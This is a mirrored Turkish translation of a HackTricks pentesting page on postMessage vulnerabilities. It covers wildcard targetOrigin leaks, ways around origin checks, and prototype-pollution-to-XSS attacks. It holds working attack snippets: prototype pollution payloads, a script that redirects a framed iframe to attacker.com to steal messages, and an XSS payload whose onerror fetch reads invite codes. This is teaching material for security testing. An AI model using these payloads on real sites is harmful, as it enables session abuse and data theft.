mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
227 lines
12 KiB
Markdown
227 lines
12 KiB
Markdown
# PostMessage Açıkları
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Mesaj Gönder **PostMessage**
|
||
|
||
**PostMessage** bir mesaj göndermek için aşağıdaki fonksiyonu kullanır:
|
||
```bash
|
||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||
|
||
# postMessage to current page
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe with id "idframe"
|
||
<iframe id="idframe" src="http://victim.com/"></iframe>
|
||
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe via onload
|
||
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
||
|
||
# postMessage to popup
|
||
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
||
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an URL
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
||
|
||
# postMessage to iframe inside popup
|
||
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||
## loop until win.length == 1 (until the iframe is loaded)
|
||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
```
|
||
Not edin ki **targetOrigin** bir '\*' veya _https://company.com_ gibi bir URL olabilir.\
|
||
**İkinci senaryoda**, **mesaj yalnızca o domaine gönderilebilir** (pencere nesnesinin kökeni farklı olsa bile).\
|
||
Eğer **joker karakter** kullanılıyorsa, **mesajlar herhangi bir domaine gönderilebilir** ve Pencere nesnesinin kökenine gönderilecektir.
|
||
|
||
### iframe saldırısı & **targetOrigin**'de joker karakter
|
||
|
||
[**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframed** (hiçbir `X-Frame-Header` koruması yok) olabilen bir sayfa bulursanız ve bu sayfa **joker karakter** (\*) kullanarak **hassas** mesaj gönderiyorsa, **iframe**'in **kökenini** **değiştirebilir** ve **hassas** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\
|
||
Eğer sayfa iframed olabiliyorsa ancak **targetOrigin** **bir URL'ye ayarlanmışsa ve joker karaktere değilse**, bu **numara çalışmaz**.
|
||
```html
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
setTimeout(exp, 6000); //Wait 6s
|
||
|
||
//Try to change the origin of the iframe each 100ms
|
||
function exp(){
|
||
setInterval(function(){
|
||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||
}, 100);
|
||
}
|
||
</script>
|
||
```
|
||
## addEventListener istismarı
|
||
|
||
**`addEventListener`** JS tarafından **`postMessages`** bekleyen fonksiyonu tanımlamak için kullanılan işlevdir.\
|
||
Aşağıdaki gibi bir kod kullanılacaktır:
|
||
```javascript
|
||
window.addEventListener(
|
||
"message",
|
||
(event) => {
|
||
if (event.origin !== "http://example.org:8080") return
|
||
|
||
// ...
|
||
},
|
||
false
|
||
)
|
||
```
|
||
Not edin ki bu durumda kodun yaptığı **ilk şey** **kaynağı kontrol etmek**. Bu, alınan bilgilerle **herhangi bir hassas işlem** yapılacaksa (örneğin bir şifre değiştirme) son derece **önemlidir**. **Eğer kaynak kontrol edilmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir** ve kurbanların şifrelerini değiştirebilir (bu örnekte).
|
||
|
||
### Sayım
|
||
|
||
Mevcut sayfadaki **olay dinleyicilerini bulmak** için şunları yapabilirsiniz:
|
||
|
||
- **JS kodunu** `window.addEventListener` ve `$(window).on` (_JQuery versiyonu_) için **arama** yapın.
|
||
- Geliştirici araçları konsolunda **şu komutu çalıştırın**: `getEventListeners(window)`
|
||
|
||
 (1).png>)
|
||
|
||
- Tarayıcının geliştirici araçlarında _Elements --> Event Listeners_ kısmına **gidin**.
|
||
|
||
.png>)
|
||
|
||
- [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) veya [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) gibi bir **tarayıcı uzantısı** kullanın. Bu tarayıcı uzantıları **tüm mesajları yakalar** ve size gösterir.
|
||
|
||
### Kaynak kontrolü atlamaları
|
||
|
||
- **`event.isTrusted`** niteliği, yalnızca gerçek kullanıcı eylemleri tarafından üretilen olaylar için `True` döndürdüğü için güvenli kabul edilir. Doğru bir şekilde uygulanırsa atlanması zor olsa da, güvenlik kontrollerindeki önemi dikkate değerdir.
|
||
- PostMessage olaylarında kaynak doğrulaması için **`indexOf()`** kullanımı atlamaya karşı hassas olabilir. Bu zayıflığı gösteren bir örnek:
|
||
|
||
```javascript
|
||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||
```
|
||
|
||
- `String.prototype.search()`'ten gelen **`search()`** metodu, dizgeler için değil, düzenli ifadeler için tasarlanmıştır. Bir regexp dışında bir şey geçmek, yöntemi potansiyel olarak güvensiz hale getiren düzenli ifadeye örtük dönüşüme yol açar. Çünkü düzenli ifadelerde bir nokta (.) joker karakter olarak işlev görür ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına olanak tanır. Örneğin:
|
||
|
||
```javascript
|
||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||
```
|
||
|
||
- `search()` ile benzer olan **`match()`** fonksiyonu, düzenli ifadeleri işler. Eğer düzenli ifade yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir.
|
||
- **`escapeHtml`** fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliği `hasOwnProperty`'yi tanımayacak şekilde manipüle edilebiliyorsa, `escapeHtml` beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir:
|
||
|
||
- Beklenen Hata:
|
||
|
||
```javascript
|
||
result = u({
|
||
message: "'\"<b>\\",
|
||
})
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
- Kaçırma:
|
||
|
||
```javascript
|
||
result = u(new Error("'\"<b>\\"))
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
Bu zayıflık bağlamında, `File` nesnesi, yalnızca okunabilir `name` özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında `escapeHtml` fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.
|
||
|
||
- JavaScript'teki `document.domain` özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir ve bu, aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulanmasına olanak tanır.
|
||
|
||
### e.origin == window.origin atlaması
|
||
|
||
Bir **sandboxed iframe** içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in kökeninin null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox nitelikleri** ile ilgili güvenlik ve işlevsellik üzerindeki etkileri ele alırken özellikle önemlidir.
|
||
|
||
**`allow-popups`** niteliklerini belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kökeninin de `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kökeniyle aynı hale gelir.
|
||
|
||
Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye **`postMessage`** ile bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kökenleri `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru olduğu bir senaryo oluşturur (`null == null`), çünkü hem iframe hem de açılır pencere `null` değerine sahip aynı köken değerini paylaşır.
|
||
|
||
Daha fazla bilgi için **okuyun**:
|
||
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-1.md
|
||
{{#endref}}
|
||
|
||
### e.source'u atlama
|
||
|
||
Mesajın, scriptin dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle **tarayıcı uzantılarından gelen İçerik Scriptleri** için mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginçtir):
|
||
```javascript
|
||
// If it’s not, return immediately.
|
||
if (received_message.source !== window) {
|
||
return
|
||
}
|
||
```
|
||
**`e.source`**'un bir mesajın null olmasını sağlamak için, **postMessage** gönderen ve **hemen silinen** bir **iframe** oluşturabilirsiniz.
|
||
|
||
Daha fazla bilgi için **okuyun:**
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-2.md
|
||
{{#endref}}
|
||
|
||
### X-Frame-Header atlatma
|
||
|
||
Bu saldırıları gerçekleştirmek için ideal olarak **kurban web sayfasını** bir `iframe` içine alabilmeniz gerekir. Ancak `X-Frame-Header` gibi bazı başlıklar bu **davranışı** **engelleyebilir**.\
|
||
Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Gü vulnerable web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:
|
||
```html
|
||
<script>
|
||
var w=window.open("<url>")
|
||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||
</script>
|
||
```
|
||
### Çocuğa gönderilen mesajı ana sayfayı engelleyerek çalmak
|
||
|
||
Aşağıdaki sayfada, **verileri göndermeden önce** **ana** sayfayı **engelleyerek** bir **çocuk iframe**'e gönderilen **hassas postmessage verilerini** nasıl çalabileceğinizi görebilirsiniz ve **çocukta bir XSS** kullanarak verileri **sızdırabilirsiniz**:
|
||
|
||
{{#ref}}
|
||
blocking-main-page-to-steal-postmessage.md
|
||
{{#endref}}
|
||
|
||
### iframe konumunu değiştirerek mesaj çalmak
|
||
|
||
X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o **çocuk iframe'in konumunu** **değiştirebilirsiniz**, böylece eğer bir **wildcard** kullanılarak gönderilen bir **postmessage** alıyorsa, bir saldırgan o iframe'in **kaynağını** kendisinin **kontrol ettiği** bir sayfaya **değiştirebilir** ve mesajı **çalabilir**:
|
||
|
||
{{#ref}}
|
||
steal-postmessage-modifying-iframe-location.md
|
||
{{#endref}}
|
||
|
||
### postMessage ile Prototip Kirlenmesi ve/veya XSS
|
||
|
||
`postMessage` ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, **sayfayı** **iframe**'leyebilir ve **prototip kirlenmesi/XSS**'yi **postMessage** aracılığıyla gönderilen istismar ile **sömürebilirsiniz**.
|
||
|
||
**postMessage** aracılığıyla **çok iyi açıklanmış XSS örnekleri** [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) adresinde bulunabilir.
|
||
|
||
Bir `iframe`'e `postMessage` aracılığıyla **Prototip Kirlenmesi ve ardından XSS** istismarına bir örnek:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<iframe
|
||
id="idframe"
|
||
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||
<script>
|
||
function get_code() {
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(
|
||
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
|
||
"*"
|
||
)
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
|
||
}
|
||
|
||
setTimeout(get_code, 2000)
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
Daha fazla bilgi için:
|
||
|
||
- [**prototip kirlenmesi**](../deserialization/nodejs-proto-prototype-pollution/index.html) hakkında sayfaya bağlantı
|
||
- [**XSS**](../xss-cross-site-scripting/index.html) hakkında sayfaya bağlantı
|
||
- [**istemci tarafı prototip kirlenmesi ile XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) hakkında sayfaya bağlantı
|
||
|
||
## Referanslar
|
||
|
||
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||
- Pratik yapmak için: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|